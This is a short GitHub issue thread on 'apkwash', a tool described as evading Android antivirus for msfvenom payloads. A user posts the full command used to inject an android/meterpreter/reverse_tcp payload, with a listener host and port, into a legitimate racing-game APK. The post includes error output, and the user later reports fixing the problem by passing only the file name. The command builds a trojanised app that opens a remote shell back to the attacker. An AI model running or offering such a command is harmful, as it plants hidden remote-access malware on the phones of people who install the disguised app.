jbreed / apkwash

Android APK Antivirus evasion for msfvenom generated payloads.
GNU General Public License v3.0
184 stars 65 forks source link

Error: No such file or directory @ rb_sysopen #13

Closed kannan92 closed 3 years ago

kannan92 commented 3 years ago

Hi, I get the below error when I run the command "sudo apkwash -p android/meterpreter/reverse_tcp LHOST=192.168.0.108 LPORT=4444 -o /home/kali/finaltraffic.apk -x /home/kali/com.skgames.trafficrider_2020-07-17.apk -verbose"

Error:

[] Rebuilding apk with meterpreter injection as /tmp/d20210731-6677-jfu2om/output.apk [] Signing /tmp/d20210731-6677-jfu2om/output.apk [*] Aligning /tmp/d20210731-6677-jfu2om/output.apk Payload size: 116081404 bytes Error: No such file or directory @ rbsysopen - injected/home/kali/com.skgames.trafficrider_2020-07-17.apk [!] MSFVenom payload generation failed. Run with verbose for more information on the MSFVenom output. [-] Generating an msf listener script [-] Add an AutoRunScript? [y/N]

Can you please help?

kannan92 commented 3 years ago

I was able to figure it out. Instead of passing the whole directory, I just passed in the file name. Thanks.